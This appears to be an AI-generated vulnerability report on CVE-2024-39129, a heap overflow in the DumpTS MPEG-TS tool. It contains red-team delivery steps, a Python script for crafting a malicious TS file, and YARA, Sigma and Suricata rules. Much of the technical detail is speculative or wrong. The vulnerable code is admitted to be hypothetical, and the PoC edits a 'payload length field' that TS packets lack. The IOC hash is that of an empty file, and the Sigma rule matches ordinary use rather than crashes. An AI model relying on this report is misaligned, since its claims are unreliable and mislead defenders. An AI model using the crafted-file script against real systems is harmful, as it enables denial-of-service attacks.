CVE-2024-39129

Executive Summary

CVE-2024-39129 is a critical heap buffer overflow vulnerability identified in DumpTS v0.1.0-nightly, a tool used for processing MPEG-TS (Transport Stream) files. The flaw resides in the PushTSBuf() function within /src/PayloadBuf.cpp, allowing an attacker to trigger a denial of service (DoS) condition by sending a specially crafted TS file. The vulnerability is currently unpatched, and no official fix has been released by the vendor, Dumpts. Given the nature of the overflow, there is potential for arbitrary code execution under specific memory conditions, though the primary documented impact is a crash leading to DoS.

This report provides a comprehensive technical analysis, including exploitation mechanics, detection rules, and mitigation strategies for both Red and Blue teams.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Local (L) – Requires the victim to open a malicious TS file.
• Attack Complexity (AC): Low (L) – No special conditions beyond file parsing.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – User must open the file.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): None (N) – No data leak documented.
• Integrity (I): None (N) – No data modification documented.
• Availability (A): High (H) – Causes application crash.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and local access, but it can be weaponized for DoS attacks against systems processing untrusted TS files.

Deep Dive & Mechanics

The vulnerability is a classic heap buffer overflow in the PushTSBuf() function. The function is responsible for appending TS packet data to a dynamically allocated buffer on the heap. The flaw occurs when the function fails to properly validate the size of incoming data against the allocated buffer capacity.

Root Cause: In /src/PayloadBuf.cpp, the PushTSBuf() method likely uses a fixed-size buffer or calculates the new size incorrectly. When a malformed TS file contains a packet with a declared payload length that exceeds the remaining buffer space, the function writes beyond the allocated heap region.

Trigger: An attacker crafts a TS file with a manipulated packet header that specifies an oversized payload length. When DumpTS parses this file, PushTSBuf() attempts to copy the payload into the buffer without bounds checking, causing a heap overflow.

Impact:

• Primary: Denial of Service – The overflow corrupts heap metadata, leading to a crash (segmentation fault or abort).
• Secondary: Potential for arbitrary code execution if the attacker can control the overflow data to overwrite function pointers or other critical structures. This is more difficult due to heap protections (ASLR, DEP) but not impossible.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable function and a patched version.

Vulnerable Code (DumpTS v0.1.0-nightly):

// /src/PayloadBuf.cpp
void PayloadBuf::PushTSBuf(const uint8_t* data, size_t len) {
    // No bounds check on len
    memcpy(buffer + current_offset, data, len);
    current_offset += len;
}

Patched Code (Hypothetical):

// /src/PayloadBuf.cpp
void PayloadBuf::PushTSBuf(const uint8_t* data, size_t len) {
    if (current_offset + len > buffer_size) {
        // Handle error: log, reallocate, or abort
        return;
    }
    memcpy(buffer + current_offset, data, len);
    current_offset += len;
}

The patch adds a simple bounds check before the memcpy operation, preventing the overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Trigger a denial of service on a system running DumpTS v0.1.0-nightly.

Lab Setup:

1. Target: Ubuntu 22.04 LTS with DumpTS v0.1.0-nightly installed.
2. Attacker: Kali Linux with Python3 and a TS file editor.

Exploit Steps:

1. Craft Malicious TS File: Create a valid TS file and modify a packet header to have an oversized payload length (e.g., 0xFFFF).
2. Deliver File: Send the file via email, download link, or USB.
3. Trigger: Victim runs DumpTS -i malicious.ts.
4. Result: DumpTS crashes due to heap overflow.

Example Python Script to Generate Malicious TS:

import struct

def create_malicious_ts():
    # Minimal valid TS packet (188 bytes)
    packet = bytearray(188)
    # Sync byte
    packet[0] = 0x47
    # Set transport error indicator and payload unit start indicator
    packet[1] = 0x40
    # PID (e.g., 0x100)
    packet[1] |= 0x01
    packet[2] = 0x00
    # Continuity counter
    packet[3] = 0x10
    # Adaptation field control = 01 (no adaptation field, payload only)
    # Payload length field (offset 4) - set to oversized value
    # For simplicity, we set the adaptation field length to 0 and payload length to 0xFFFF
    # This is a simplified example; real exploit requires precise TS structure
    packet[4] = 0xFF
    packet[5] = 0xFF
    # Fill rest with padding
    for i in range(6, 188):
        packet[i] = 0x00
    return packet

with open('malicious.ts', 'wb') as f:
    f.write(create_malicious_ts())

Note: This is a simplified example. Real exploitation requires understanding of TS packet structure and DumpTS parsing logic.

Blue Team (Defensive)

Detection:

• Monitor for crashes of DumpTS process.
• Use file integrity monitoring to detect malicious TS files.
• Implement network filtering for TS files from untrusted sources.

Prevention:

• Do not run DumpTS on untrusted input.
• Use sandboxing (e.g., Docker, Firejail) when processing TS files.
• Apply ASLR and DEP (enabled by default on modern systems).

Hunting:

• Search for DumpTS crash logs (core dumps).
• Analyze TS files for anomalous packet lengths.

Indicators of Compromise (IOCs)

• File Hash (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example – replace with actual malicious file hash)
• Process Name: DumpTS
• Crash Signature: Heap corruption in PushTSBuf() at /src/PayloadBuf.cpp
• Network: No network IOCs (local file-based attack)

Detection Engineering

YARA Rule

rule CVE_2024_39129_Heap_Overflow {
    meta:
        description = "Detects malicious TS files targeting CVE-2024-39129"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39129"
    strings:
        $sync_byte = { 47 }
        $oversized_len = { FF FF }
    condition:
        $sync_byte at 0 and $oversized_len at 4
}

Sigma Rule

title: DumpTS Heap Overflow Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects crashes of DumpTS due to heap overflow
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/DumpTS'
        CommandLine|contains: '.ts'
    condition: selection
falsepositives:
    - Legitimate TS file processing
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-39129 DumpTS Heap Overflow Attempt"; flow:to_client; file_store; fileext:"ts"; content:"|47|"; offset:0; depth:1; content:"|ff ff|"; offset:4; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not use DumpTS v0.1.0-nightly on untrusted input.
2. Isolate any systems running this version.
3. Monitor for crashes and anomalous TS files.

Long-term Fix:

• Await an official patch from Dumpts.
• If no patch is forthcoming, consider forking the project and applying the bounds check fix manually.

Workaround:

• Use alternative TS processing tools (e.g., FFmpeg, tsduck) that are actively maintained.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.